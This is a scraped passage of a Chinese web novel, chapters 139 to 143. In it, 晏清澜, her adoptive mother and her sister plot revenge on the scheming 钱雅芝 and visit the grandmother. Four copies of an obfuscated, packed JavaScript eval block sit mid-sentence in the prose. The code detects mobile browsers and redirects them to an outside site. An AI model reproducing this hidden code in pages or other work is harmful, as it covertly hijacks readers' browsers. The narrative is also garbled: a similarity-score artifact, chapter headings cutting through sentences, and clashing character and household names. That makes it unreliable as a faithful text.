简直是滑天下之大稽!险些遭人暗算的是晏清澜,受尽委屈的也是她。可他的父亲和兄长,却一个个道貌岸然地指责她忤逆不孝! (文段2-相似度:0.55) 尤其是他那位“好大哥”,竟然还大言不惭地说,若非没有确凿证据,便要将阿清送官查办!那副嘴脸,就当什么都没发生过,已是对阿清天大的恩赐! 晏子晏再也忍不住,怒极反笑。 笑声中,尽是鄙夷与悲凉。 也难怪阿清不愿归家。 这样的家,有何可归? 这样的家人,要之何用?苏府里的是非,晏清澜半点也不关心。 她此刻正依偎着傅清霁,安静地翻阅着手中的书卷。 苏府里头,是东风得势,还是西风猖狂,都与她没有半分瓜葛。 傅清霁垂眸,用一块柔软的绸布细细擦拭着手中的长剑。剑身如镜,映出她冷冽的眼神,平添了几分肃杀之气。 “你爹已经知晓此事。”傅清霁开口,声音沉静而有力,“明日早朝,他便会上奏,力荐由晏明远负责押运这批药材和冬衣。” 宋溪溪一听,顿时来了气,手里的帕子被她揉成一团,紧蹙的眉头几乎拧成了一个疙瘩,声音里透着明显的不快: “凭什么便宜她?她竟敢使出这种下三滥的手段来害我!” 她顿了顿,又补充道,语气中带着几分不屑: “那种劣质迷香,我怎么可能会沾?寺庙里的斋饭,我更是一口都不会碰。 第一百三十九章 还有钱雅芝找的那些人……” 宋溪溪轻蔑地哼了一声,眼神中闪过一丝狠厉。 “他们能不能活着回去,还得两说呢!” 细细想来,钱雅芝的这番算计,从一开始就注定是竹篮打水一场空。 可即便如此,宋溪溪还是觉得心里憋屈得慌。这种被人算计的感觉,让她如鲠在喉,不吐不快。 晏清澜轻轻合上手中的书,苦涩一笑,抬手揉了揉宋溪溪那头柔软的青丝,安抚道: “那你想如何?难不成要以牙还牙,以眼还眼?” 宋溪溪想都没想,直接摇头,语气坚定: “我才不屑与她一般见识。她那种人,还不配我亲自出手。” 晏清澜唇角微微上扬,心中了然。 将门之女,骨子里自有一股傲气,对于这种上不得台面的阴谋诡计,自然是不屑一顾的。 微风拂过,书页翻飞,发出轻微的“沙沙”声,像是在应和着晏清澜的心情。 她抬手,轻轻拍了拍宋溪溪的肩头,像是在安慰一只受了惊的小兽: “放心,她这种人,迟早会自食恶果,根本用不着咱们动手。” 说完,她抬眸看向傅清霁,眼神清亮而坚定: “娘,押送的队伍里,您可得多安插些咱们自己的人手。那晏明远若是敢中饱私囊,他这太常寺少卿的乌纱帽,也就别想再戴了。” 傅清霁将擦拭得锃亮的长剑缓缓插入鞘中,挂回墙上,动作利落而干脆。 她转过身,语气平静而笃定: “那是自然,他若还有点脑子,就该明白这批物资,他动不得分毫。” “太过完美反而不真实”,押送军需物资,虽不比赈灾粮款那般油水丰厚,但总有些不老实的人想雁过拔**,捞点好处。 可这次的冬衣和药材,全是晏清澜和陆家一手置办的,数量多少,晏清澜心里一清二楚。 为了以防万一,傅清霁早就让晏清澜把物资数量详细记录在册,直接送进了宫,交到了皇上手中。 景元帝心里跟明镜似的,到时候只要稍微一核对,便可知晓前线的将士们收到的物资,与册子上所载是否分毫不差。 晏明远但凡不是个傻的,就该明白这批物资,他绝对碰不得。 宋溪溪亲昵地挽住晏清澜的胳膊,语气中带着几分幸灾乐祸: “他自己心里肯定也清楚这批物资动不得。但那些沿途的地方官会不会动歪心思,咱们可就管不着了。” 晏清澜和傅清霁对视一眼,彼此心照不宣,交换了一个意味深长的眼神。 从头到尾,她们真正在意的,并非是晏明远是否会贪墨。 要让晏明远不敢伸手,易如反掌。 难的是,如何让那些沿途的地方官吏不敢从中作梗。 晏明远若是一毛不拔,分毫不让那些地方官沾染,会不会惹恼他们?会不会得罪他们背后盘根错节的势力? 晏明远是燕王韩承煜的人。那些地方官会不会因此迁怒于燕王?燕王又会不会因此对晏明远心生不满? 这些弯弯绕绕,就不是她们该操心的了。 宋溪溪毕竟年纪尚轻,对朝堂上的那些勾心斗角、尔虞我诈,还不太了解。 她歪着头,有些困惑地问道: “可是……皇上真的会同意吗?” 晏清澜的目光落在摊开的书页上,指尖轻轻摩挲着细腻的纸张,唇边泛起一抹淡淡的笑意: “明日早朝,自有分晓。” 她心中笃定,景元帝一定会同意。 燕王韩承煜虽羽翼未丰,但已隐隐有与太子分庭抗礼之势。 景元帝为了平衡朝局,必然会暗中扶持其他势力,以牵制燕王。 如今有这么一个绝佳的机会送到眼前,景元帝岂会白白放过? 其实,若非钱雅芝一再挑衅,晏清澜原本是打算看在晏老夫人和晏芸清的面子上,对庄家网开一面的。 可如今,钱雅芝自己作死,那就怪不得她心狠手辣了。 宋溪溪可没晏清澜想得这般长远。 她扬起下巴,挽着晏清澜的胳膊,语气中带着几分肯定: “晏明远这次吃了这么大一个哑巴亏,肯定会把这笔账算到钱雅芝头上。” 晏清澜微微颔首,唇角勾起一抹似有若无的笑意,表示赞同。 傅清霁的眼神冷冽如冰,声音中带着一丝寒意: “想扶持自己的女儿,本无可厚非。可若是把主意打到你和阿清的身上,那就是自寻死路。” 傅清霁没有明说,但话里话外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019341|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思,却再明白不过:钱雅芝若是有本事,就该靠自己,而不是把希望寄托在女儿身上。 宋溪溪随手拿起一块点心,咬了一口,含糊不清地说道: “我才看不上韩承煜那种人呢。” “表面上装得一副温文尔雅的样子,背地里却一肚子男盗女娼,有什么值得稀罕的?” 她嫌弃地撇了撇嘴,仿佛是闻到了什么令人作呕的气味: “钱雅芝真是脑子进水了,还以为韩承煜是什么香饽饽,生怕我跟她女儿抢呢!” 宋溪溪说着,忍不住翻了个白眼,差点被嘴里的糕点噎着。 也就只有晏玥玥那种没见过世面的,才会把韩承煜当成宝,她宋溪溪可看不上。 晏清澜笑着抽出一方绣帕,细心地替宋溪溪擦去嘴角的糕点残渣,眼神清澈而明亮,仿佛能洞悉一切: “钱雅芝并非是担心你喜欢韩承煜。” 晏清澜的唇角勾起一抹嘲讽的笑意: “她是怕你将来会和晏玥玥争夺后位。” 她轻轻摇了摇头,头上的金步摇微微晃动,发出清脆悦耳的声响。 晏清澜端起茶盏,轻轻抿了一口,语气中带着几分戏谑: “她呀,是做梦都想把晏玥玥送上皇后的宝座。这野心,倒也真是不小。” 是野心勃勃,还是不自量力,那就不得而知了。 宋溪溪不以为然地“啧啧”了两声: “所以说她病得不轻嘛。” “我才不喜欢韩承煜,对朝堂上那群王子一点兴趣都没有。别说是皇后之位了,就算把江山社稷摆在我面前,我也不会多看一眼。” 她骄傲地扬起下巴,如同高贵的孔雀般,不可一世: “那些个朝三暮四、妻妾成群的男人,有什么好稀罕的?” 她语气一转,带着一丝憧憬,一丝向往,还有一丝坚定: “我命中注定的那个他,若是做不到像爹爹那般,此生只爱娘亲一人,那我宁可终身不嫁,独自逍遥快活。” 并非是她不在乎权势,也并非是她不渴望荣华富贵。 而是她生来就拥有一切,早已见惯了繁华,自然不会被这些表面的东西所迷惑。 想要用甜言蜜语和海誓山盟来哄骗她?那是痴心妄想! 第一百四十章 她可不是那种没见过世面的小丫头,三言两语就能被唬住。 傅清霁看着宋溪溪那一脸认真的模样,又好气又好笑,忍不住伸手轻轻刮了一下她的小鼻子: “你这丫头,才多大点儿,就整天琢磨这些情情爱爱的,也不嫌害臊。” 话虽这么说,傅清霁的语气中却充满了宠溺和疼爱。 她顿了顿,又补充道: “不过,这事儿倒也不急,你还小呢,离及笄还有些时日。” 说着,她突然话锋一转,目光落在了晏清澜身上,眼神中带着几分促狭和打趣: “倒是咱们阿清,已经是个大姑娘了。” 傅清霁笑盈盈地走到晏清澜身边,伸手搭在她的肩头,亲昵地问道: “阿清,你可有心仪的男子?不妨说给娘听听,娘替你参谋参谋。” 傅清霁心中暗自思忖,自家女儿才貌双全,也不知将来会便宜哪家的小子。不如趁现在好好打听打听,也好早做准备。“阿清姐姐,还没听你说说你的理想型呢!” 宋溪溪一听傅清霁问起这个,立马来了精神。 她“蹭”地一下站起身,跑到晏清澜身边,亲昵地挽住她的胳膊, 一双明眸亮晶晶的,像盛满了璀璨的星子,闪啊闪: “我可是都告诉你我喜欢什么样的人了。” 傅清霁被宋溪溪这副八卦的样子逗笑了,无奈地摇了摇头, “你呀,中意哪种类型?” 宋溪溪想都没想,脱口而出: “必须是颜值在线的!” 她边说,边得意地扬起下巴,仿佛在宣布什么真理。 傅清霁笑着,伸出手指轻轻刮了一下她的小鼻子, “你这小脑袋瓜里,整天都在想些什么呀?” 宋溪溪不依不饶,继续为自己的“择偶标准”辩护: “长得好看多重要啊!赏心悦目!我未来的夫君要是貌比潘安,我做梦都能笑醒!” 她边说,边夸张地做了一个“流口水”的表情。 傅清霁被她逗得前仰后合,一旁的晏清澜也忍不住弯了眉眼。 “照你这么说,跟我一起吃饭的时候,你应该很开心咯?” 晏清澜冷不丁地来了这么一句。 “那当然!”宋溪溪下意识地接话。 可话一出口,她就意识到不对劲了。 晏清澜这是在……调侃她? 宋溪溪反应过来,气得鼓起了腮帮子,像一只炸毛的小猫。 她猛地转过身,双手叉腰,气势汹汹地瞪着晏清澜: “好啊你!阿清姐姐!竟然敢戏弄我!” “快说!你的菜是什么样的!不然……不然我就……” 她“哼哧哼哧”地想了半天,也没想出什么有威慑力的“威胁”。 晏清澜看着她这副“纸老虎”的模样,实在是忍不住了。 她“扑哧”一声笑了出来,无奈地摇了摇头: “好好好,我说,我说还不行吗?” 这丫头,真是越来越难对付了。 不过,被这么一闹,晏清澜原本还有些抗拒的心思,也消散了不少。 嫁人嘛…… 虽然她现在还没想过,但不妨碍她畅想一下未来夫君的模样。 总不能真等到有人上门提亲的时候,她还一问三不知吧? “娘,”她清了清嗓子,认真地说道,“我暂时,还没有成亲的打算。” 与其说是“没打算”,不如说是“没想过”。 上辈子忙着在战场上厮杀,哪有时间考虑这些情情爱爱? 这辈子虽然安稳了,但一想到古代女子及笄之后就要嫁人, 晏清澜就觉得……头皮发麻。 傅清霁听了,倒也没有强求。 她点了点头,表示理解: “嗯,我知道。你还小,不着急。” 作为大玺朝唯一的女将军,她在这方面,自然比寻常妇人要开明得多。 “不过,”傅清霁话锋一转,目光中闪过一丝狡黠, “虽然不着急,但也可以先想想嘛!万一哪天就遇到了呢?” 她边说,边用手肘轻轻碰了碰晏清澜, “说说看,有没有什么要求?娘帮你参谋参谋。” 晏清澜:…… 就知道没这么简单! 她就知道,傅清霁和宋溪溪这两个人,是绝对不会轻易放过她的! “我……”晏清澜张了张嘴,却发现自己竟然无言以对。 她能说什么? 说自己压根就没想过这个问题? 那岂不是显得她很……不近人情? 可要是随便说几个条件,又怕她们当真。 万一以后真按照这个标准给她找夫君,那她岂不是要哭死? “哎呀,阿清姐姐,你就说说嘛!” 宋溪溪可不管这些,她只知道自己现在好奇得要命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019342|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “说嘛说嘛!有什么不好意思的!” 她边说,边摇晃着晏清澜的胳膊, 那架势,大有晏清澜不说,她就不撒手的意味。 晏清澜被她缠得没办法,只好硬着头皮开始“编”。 “首先嘛……”她故意拉长了语调, “武功肯定要好!不然遇到危险,谁保护谁啊?” 晏清澜心想,这个要求总不过分吧? 毕竟,她上辈子可是从**堆里爬出来的, 这辈子虽然身手不如从前,但也不是一般人能比的。 可她这话一出,宋溪溪和傅清霁的表情都变得有些微妙。 两人对视一眼,都从对方眼中看到了一丝……同情? “那……长相呢?”宋溪溪小心翼翼地问道。 “长相啊……”晏清澜摸了摸下巴, “也不能太差吧?起码……得顺眼。” 她总不能说要找个比自己还好看的吧? 那也太为难人了! 毕竟,原主这张脸,实在是……太有杀伤力了。 傅清霁和宋溪溪再次交换了一个眼神。 这回,两人眼中的同情更明显了。 “还有呢?”宋溪溪继续追问。 “还有……”晏清澜皱着眉头,努力回想着自己还能有什么要求, “性格方面,不能太无趣,也不能太……油嘴滑舌。” 她觉得,自己已经够能说的了, 要是再来一个比她还能说的, 那这日子,还能不能过了? “没了?”宋溪溪眨巴着眼睛,一脸期待。 “嗯……暂时就这些吧。”晏清澜松了口气,总算应付过去了。 谁知,宋溪溪听完,却突然沉默了。 她低着头,掰着手指头,一样一样地数着: “武功要好,长得要顺眼,性格不能无趣,也不能油嘴滑舌……” 数完,她抬起头,一脸茫然地看着傅清霁: “娘,你说,咱们汴京城里,有这样的人吗?” 傅清霁也皱起了眉头。 她开始在脑海中搜索那些适龄的青年才俊。 可是,想来想去, 她发现,好像……还真没有哪一个能完全符合晏清澜的要求。 “要说武功好,长得也还算顺眼的,倒是有几个。” 傅清霁缓缓开口, “可这性格嘛… 第一百四十一章 …就不好说了。” 她总不能直接跑到人家面前去问: “哎,你这人无趣吗?油嘴滑舌吗?” 那还不被人当成疯子? “尹家那小子,长得倒是挺俊俏的。” 傅清霁突然提了一句。 “不过,他那长相,跟阿清不是一个路数,没法比。” “而且,我听说他性子有点……冷?” 晏清澜听了,只是笑了笑,没有说话。 姚澜? 那可是童玄珏的“好兄弟”! 能跟童玄珏那种人混在一起的,能是什么省油的灯? 表面上看起来温润如玉,风度翩翩, 实际上,还不知道心里藏着多少弯弯绕绕呢! 跟她说的这些条件,完全不沾边好吗? 不过,她这抹笑落在宋溪溪眼里,却有了不一样的解读。 “阿清姐姐,你笑什么?” 宋溪溪好奇地问道, “你是不是……认识姚澜啊?” 她歪着头,努力回想着: “不对呀,我记得你好像没见过他呀?” “不过,我倒是见过他几次,长得确实不错,就是感觉……有点太‘正经’了,跟你不太搭。” 晏清澜连忙摆手否认: “没有没有,我不认识他。” “我只是听说,尹家的公子,对吃食特别讲究,一般的厨子都入不了他的眼。” 她故意转移话题, “说起来,这汴京城里,能比你还挑食的人,可不多见。” 宋溪溪一听,顿时不乐意了: “什么叫比我还挑食?我那叫品味!品味懂不懂?” 她翻了个白眼, “不过,阿清姐姐,你说的这些条件,我怎么觉得……这么难找呢?” 她托着腮帮子,一脸苦恼, “这汴京城里,有头有脸的公子哥儿,我差不多都认识,可愣是没想出哪个能跟你配得上。” 说着,她突然像是想起了什么, 猛地一拍桌子, “哎呀!我怎么把这茬给忘了!” 她“蹭”地一下站起身, 跑到晏清澜身边,紧紧地抓住她的手, 一脸严肃地说道: “阿清姐姐,钱雅芝那个女人,肯定不会就这么算了的!” “你说,她会不会在你的婚事上做文章啊?”“钱雅芝?” 晏清澜将书页一合,发出“啪”的一声轻响,像是某种微妙的信号。她眉梢微扬,嘴角勾起一抹玩味的弧度, “她若真有那通天的本事,倒也省了我一番功夫。” 午后的阳光透过雕花窗棂,洒下斑驳的光影,落在她精致的侧脸上,将她眼底那份浑然天成的自信与锐气,衬得愈发明晰。仿佛她面对的不是阴谋算计,而是一场饶有趣味的游戏。 宋溪溪看得一怔,只觉得此刻的阿清姐姐,美得惊心动魄,像是暗夜里独自绽放的幽兰,清冷又孤傲。 她下意识地紧了紧挽着晏清澜胳膊的手,语气里带着毫不掩饰的崇拜与痴迷: “阿清姐姐,你真是……太厉害了!我怎么觉得,你好像什么都不怕似的?” 傅清霁亦是眉峰轻挑,眼波流转间,自有一股巾帼不让须眉的洒脱与大气。那是一种历经风雨后的沉稳,与晏清澜的锋芒毕露,形成了鲜明的对比。 她抬手,轻轻抚过晏清澜如云的乌发,指尖的动作轻柔而珍视,语气却是斩钉截铁,掷地有声: “阿清,你只管去做你想做的。这天塌下来,还有我和你爹顶着!这汴京城里,还没人能逼你晏清澜低头!” 钱雅芝那女人,也不知是吃了什么熊心豹子胆,竟敢打起这种歪主意!真当庄家没人了吗? 她也不想想,晏明远那老狐狸,平日里最是爱惜羽毛,把那顶乌纱帽看得比什么都重。为了一个上不得台面的庶女,搭上自己的前程? 哼,他还没那么蠢! 毕竟,嫁娶之事,虽讲究个“父母之命,媒妁之言”,可若是人品低劣,便是再喜欢,那也是万万不能嫁的!这道理,晏明远比谁都清楚。 晏清澜感受着傅清霁掌心的温度,心头一暖,唇边绽开一抹清浅的笑意,微微颔首,像是一只温顺的小猫,轻轻蹭了蹭傅清霁的手心。 “对了,娘,”宋溪溪忽然像是想起了什么,猛地抬起头,一双灵动的大眼睛滴溜溜地转个不停,像是两颗闪闪发光的黑曜石,“您说,咱们能不能……以其人之道,还治其人之身?” 傅清霁一瞧她这副古灵精怪的模样,就知道这丫头心里头,定是又憋着什么鬼主意呢。她微微挑眉,却是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019343|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 答反问: “哦?溪溪,你倒是说说看,你想怎么个‘以其人之道’?” “我……”宋溪溪咬了咬唇,像是有些犹豫,又像是有些兴奋。 她没有直接回答,而是反问道: “娘,您手底下,有没有那种……特别擅长易容,又会些拳脚功夫的女护卫?” 她顿了顿,语气变得有些神秘兮兮的: “最好是……胆子大些的。” “你这丫头,又在打什么鬼主意?”傅清霁佯装嗔怪地瞪了她一眼,却也没有直接拒绝。 宋溪溪嘿嘿一笑,露出一排整齐的小白牙: “我就是觉得……钱雅芝既然敢算计我,那我也不能让她好过!” 她说到这里,语气变得有些愤愤不平: “她不是最疼爱晏玥玥那个‘白莲花’吗?那我就让她亲眼看着,她最宝贝的女儿,是怎么‘中邪’的!” 她这话说得轻巧,可话里的内容,却让晏清澜微微一怔。 以其人之道,还治其人之身? 这丫头……倒是和自己想到一块儿去了。 不过,宋溪溪的计划,似乎比自己当初的“扮鬼吓人”,要更“高明”一些。 毕竟,钱雅芝可不是赵芊芊那种没见过世面的小丫头。寻常的惊吓,怕是吓不倒她。 但若是……让她亲眼看着自己最疼爱的女儿“中邪”,那效果,可就大不一样了。 想到这里,晏清澜的嘴角,忍不住微微上扬。 傅清霁也是眼前一亮,她看着宋溪溪,眼中闪过一丝赞赏: “溪溪,你这个主意,倒是不错。” 她顿了顿,又补充道: “不过,这事儿,咱们还得从长计议。万一要是弄巧成拙,反倒不美。” “娘,您就放心吧!”宋溪溪拍着胸脯保证道,“我保证,不会让任何人看出破绽的!” “不过嘛……”她话锋一转,又有些担忧地看向晏清澜,“阿清姐姐,你觉得呢?这法子……会不会太过了些?” 晏清澜摇了摇头,轻声说道: “不过?我觉得挺好。” 她顿了顿,又补充道: “不过,这事儿,咱们得瞒着祖母和长姐。尤其是祖母,她老人家年纪大了,可经不起吓。” “那是自然! 第一百四十二章 ”傅清霁点了点头,“你祖母和姐姐,我们自会安排妥当。” “只是……”她话锋一转,又有些担忧地看向晏清澜,“阿清,你……真的打算回苏府?” 她轻轻握住晏清澜的手,语气里,带着一丝不易察觉的担忧: “钱雅芝那女人,心狠手辣,我怕她会对你不利。” 她顿了顿,又补充道: “还有你那几个哥哥……虽说他们平日里对你还算不错,可毕竟……他们是钱雅芝的亲生儿子。我怕他们……会向着钱雅芝。” 傅清霁的顾虑,不无道理。 宋溪溪在一旁听着,也是一脸担忧。 她紧紧抓住晏清澜的另一只手,像是生怕一松手,她就会被钱雅芝抓走似的。 “阿清姐姐,要不……你还是别回去了吧?” 她皱着眉头,语气里,带着一丝恳求: “苏府有什么好?你留在韩府,我和娘都会保护你的!” “傻丫头,我怎么可能一直留在韩府?”晏清澜笑着摇了摇头, “我总得回去看看祖母和长姐。” 她顿了顿,又补充道: “再说了,我也不怕钱雅芝。” 她抬起头,看着傅清霁和宋溪溪,语气坚定: “你们放心,我不会有事的。” “可是……”宋溪溪还想再说些什么,却被晏清澜打断了。 “别可是了,”晏清澜笑着说道,“我又不傻,怎么会明知山有虎,偏向虎山行?” 她眨了眨眼,语气里,带着一丝俏皮: “我不走正门,瞒着他们偷偷溜回去,不就行了?” “那……你打算咋混进去?”傅清霁和宋溪溪异口同声地问道。 “翻墙。”晏清澜毫不犹豫地回答道。 宋溪溪:“……” 傅清霁:“……” 好吧,她们承认,她们又一次低估了晏四姑娘的“胆大妄为”。 —— 苏府的后院,一向静谧。 尤其是晏老夫人居住的暖阁,更是静得落针可闻。 此刻,暖阁内,檀香袅袅,光线昏暗。 晏老夫人正斜倚在软榻上,手里拿着一串佛珠,轻轻捻动着。 “祖母,您在看什么呢?” 一道清脆悦耳的声音,打破了满室的宁静。 晏芸清牵着一位身着蓝色衣裙的少女,笑意盈盈地走了进来,打破了这一室的静谧。 晏老夫人闻声,缓缓抬起头来。 当她看清来人的面容时,浑浊的双眸中,骤然迸发出一阵惊喜的光芒,原本平静无波的脸上,也瞬间绽放出灿烂的笑容。 她连忙放下手中的佛珠,颤巍巍地站起身来,伸出双手,想要将那少女拥入怀中。 “阿清!我的好阿清,你怎么来了?” 苍老的声音,微微颤抖着,饱含着无尽的思念与担忧。 可她还未来得及碰到晏清澜的衣角,便被晏清澜抢先一步,扶住了胳膊。 “祖母,您慢点儿。”晏清澜轻声说道, “小心闪着腰。” 她一边说着,一边扶着晏老夫人,缓缓坐回软榻上。 “你这丫头,什么时候变得这般小心谨慎了?”晏老夫人嗔怪地瞪了她一眼, “祖母的身子骨,还没那么弱不禁风。” 她嘴上虽是这般说着,可心里,却是暖洋洋的。 “祖母,我这不是怕您担心嘛。”晏清澜笑着说道, “您看,我这不是好好的吗?” 她一边说着,一边在晏老夫人面前转了一圈, “您瞧,我不仅没少胳膊没少腿,还胖了些呢!” “你这丫头,净胡说!”晏老夫人笑着拍了拍她的手, “哪有女孩子家,说自己胖了的?” 她顿了顿,又问道: “你娘……她是不是刁难你了?你那几个哥哥……有没有给你气受?” “没有,没有,”晏清澜连忙摇了摇头, “他们对我,都挺好的。” “那就好,那就好。”晏老夫人点了点头, “你呀,也别怪你娘和你哥哥们。他们……也是身不由己。” “祖母,我知道的。”晏清澜轻声说道, “我没有怪他们。” “那就好,”晏老夫人伸手,轻轻抚摸着晏清澜的脸颊,像是怕惊扰了她似的, “饿不饿?想吃点什么?祖母让厨房给你做。”“我不饿,祖母,您瞧,我这不是好好的么。”晏清澜笑着摇了摇头,轻轻拍了拍晏老夫人的手背,示意她安心。 晏芸清却不依,几步上前,绕着晏清澜细细打量,眉头越蹙越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019344|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧。 “不对,阿清,你是瘦了。”她抿着唇,语气笃定,“脸色也不大好,是不是在陆家受委屈了?” 晏老夫人闻言,也跟着上下打量,原本舒展的眉心,此刻也拢了起来,苍老的眼中流露出担忧。 “是瘦了些。”她沉声道。 晏清澜哭笑不得。 陆家那几位,恨不得把她当猪养,她能瘦到哪儿去? 晏芸清可不管这些,她一把拉住晏清澜的手,语气严肃:“阿清,你跟我说实话,谁欺负你了吗?” “前些日子,晏玥玥和晏子晏去了陆家,是不是他们嚼舌根了?”晏芸清眼神一凛,语气中带着一丝警告,“你可别把他们的话当回事,那种人,嘴里没一句真话!” 晏清澜心头一暖,嘴角的笑意更深了。 平日里瞧着端庄娴静的大姐姐,这护短的性子,倒是和宋溪溪有的一拼。 “大姐姐,你想哪儿去了。”她笑着解释,“晏子晏没欺负我,他还帮着我教训了晏玥玥呢。” 她眨了眨眼,语气中带着几分调皮:“不过嘛,晏玥玥倒是出了个大洋相。” 晏芸清挑眉,示意她说下去。 晏清澜便将晏玥玥在陆家认错人、还大言不惭地“教育”宋溪溪的事,绘声绘色地描述了一遍。 当然,她略去了晏玥玥对宋溪溪动手动脚的细节。 即便如此,晏芸清听完,还是忍不住“嗤”地一声笑了出来。 “这晏玥玥,真是丢人丢到家了。”她摇了摇头,语气中满是鄙夷,“不过想想也是,她那脑子,做出这种事,我倒是不觉得奇怪。” 晏老夫人始终没说话,只是静静地听着,脸色平静,看不出喜怒。 “六丫头啊,早就被宠得没边儿了。”良久,她才缓缓开口,语气中带着几分无奈和失望,“我这把老骨头,也懒得管了。” 她摇了摇头,一声叹息,似有无尽的疲惫。 “她哪里肯听?还在她爹娘面前,没少说我的不是。” 说到这儿,晏老夫人眼中闪过一丝冷意,嘴角勾起一抹嘲讽的弧度。 “罢了,都是他们自个儿惯的。”她揉了揉眉心,语气淡淡的,“我这把老骨头,也管不了那么多了。” 晏芸清冷哼一声,眼中闪过一丝不屑。 “就由着他们捧吧,迟早要出事。 第一百四十三章 ”她冷冷地说道,“捧得越高,摔得越狠,到时候,有他们哭的!” 晏玥玥真以为全天下的人都该围着她转? 也不想想,那些个所谓的“朋友”,有几个是真心待她的? 等着看她笑话的人,可多了去了。 更别提钱雅芝,还做着让晏玥玥当皇后的春秋大梦呢。 “苏府不被她连累得家破人亡,就谢天谢地了。”晏芸清摇了摇头,毫不留情地说道。 晏老夫人听了,并没有出言责备。 她只是叹了口气,看向晏清澜的眼神中,充满了担忧。 “芸芸你还好,已经定亲了,真要出了什么事,也能脱身。”她紧紧握住晏清澜的手,声音微微颤抖,“可阿清你……祖母就怕,担心他们拖你后腿!” 晏老夫人顿了顿,原本因为晏清澜回来,舒缓了许多的心情,此刻又紧绷了起来。 “有陆家护着你,祖母放心,可万一……”她不敢想象,若是晏清澜还没出嫁,该如何是好。 “祖母不必忧心,”晏清澜回握住晏老夫人的手,语气坚定,“我自有分寸,定不会让自己有事的。” 她顿了顿,又补充道:“我也会护着您和姐姐。” 她的声音很轻,却带着一股不容置疑的力量。 晏老夫人望着她,眼神微微闪烁,原本紧绷的心弦,竟真的松动了些许。 晏芸清却突然想起另一件事,眉头一皱,语气中带着几分疑惑:“对了,阿清,还有件事,我得问问你。” “前几日,晏景文突然来找我,神神叨叨的,说了一堆莫名其妙的话。”她顿了顿,语气中带着几分探究,“他说你……总之,就是让我离你远点。你说,他是不是脑子坏掉了?” 晏清澜闻言,心中了然。 看来,晏景文这是贼心不死,还想挑拨离间呢。 她轻笑一声,将善南寺发生的事,简略地说了说。 当然,她只说钱雅芝想给宋溪溪下毒,再栽赃给她,并未提及更恶毒的计划。 她不想让晏老夫人太过忧心。 即便如此,晏老夫人听完,脸色还是沉了下来。 “这个孽障!”她手中的茶杯,重重地搁在了桌上,发出“哐当”一声。 晏清澜连忙伸手,轻轻抚着晏老夫人的背,示意她冷静。 “祖母息怒,为了这种人生气,不值当。” 晏芸清也是气得不轻,脸色铁青。 “就这么放过她,真是太便宜她了!”她恨恨地说道,“这种人,就该千刀万剐!” “阿清,你放心,这事儿没完!”晏芸清眼中闪过一丝狠厉,“我定要让她付出代价!” 晏清澜摇了摇头,表示自己并不在意这些。 “溪溪已经想好法子了,要吓唬吓唬她。”她语气轻松地说道,“不过,我怕吓着您和姐姐,所以提前来跟你们说一声。” 晏老夫人对鬼神之说,虽有敬畏,却也并不惧怕。 “我老婆子一生光明磊落,没什么好怕的。”她淡淡地说道,“倒是你,行事要小心些,别被人抓了把柄。” 晏芸清也不信这些。 “阿清,你尽管去做,不用顾忌我们。”她语气轻松地说道,“我和祖母,可不是那些胆小怕事的人。” “就是,阿清你莫要忧心这个。”晏老夫人也颔首表示无碍。 她刚想说些什么,门口突然传来了裘妈妈的声音。 “老夫人,夫人带着三妹和六妹来访。”裘妈妈的声音恭敬而谨慎。 晏老夫人、晏清澜和晏芸清三人对视一眼,都从对方眼中看到了一丝了然。 好戏,开场了。钱雅芝一进屋,就觉察到气氛有些不对劲。 她深吸一口气, 强压下心头的烦躁, 领着两个女儿, 晏玥玥和晏清萦, 一前一后地走了进来。 来之前, 她可是做足了功夫, 特意沐浴焚香, 从头到脚收拾得干干净净, 就怕身上还残留着那股子让人作呕的腐臭味。 头上戴了支新的金钗, 脸上也细细地抹了一层厚粉, 好不容易才把那几个红肿的巴掌印遮掩过去。 相比之下, 晏玥玥就没那么好运了。 虽说也用了冰帕子敷脸, 仔仔细细地上了药, 可那张小脸蛋儿还是肿得老高, 红得像熟透的柿子, 看着就让人心疼。 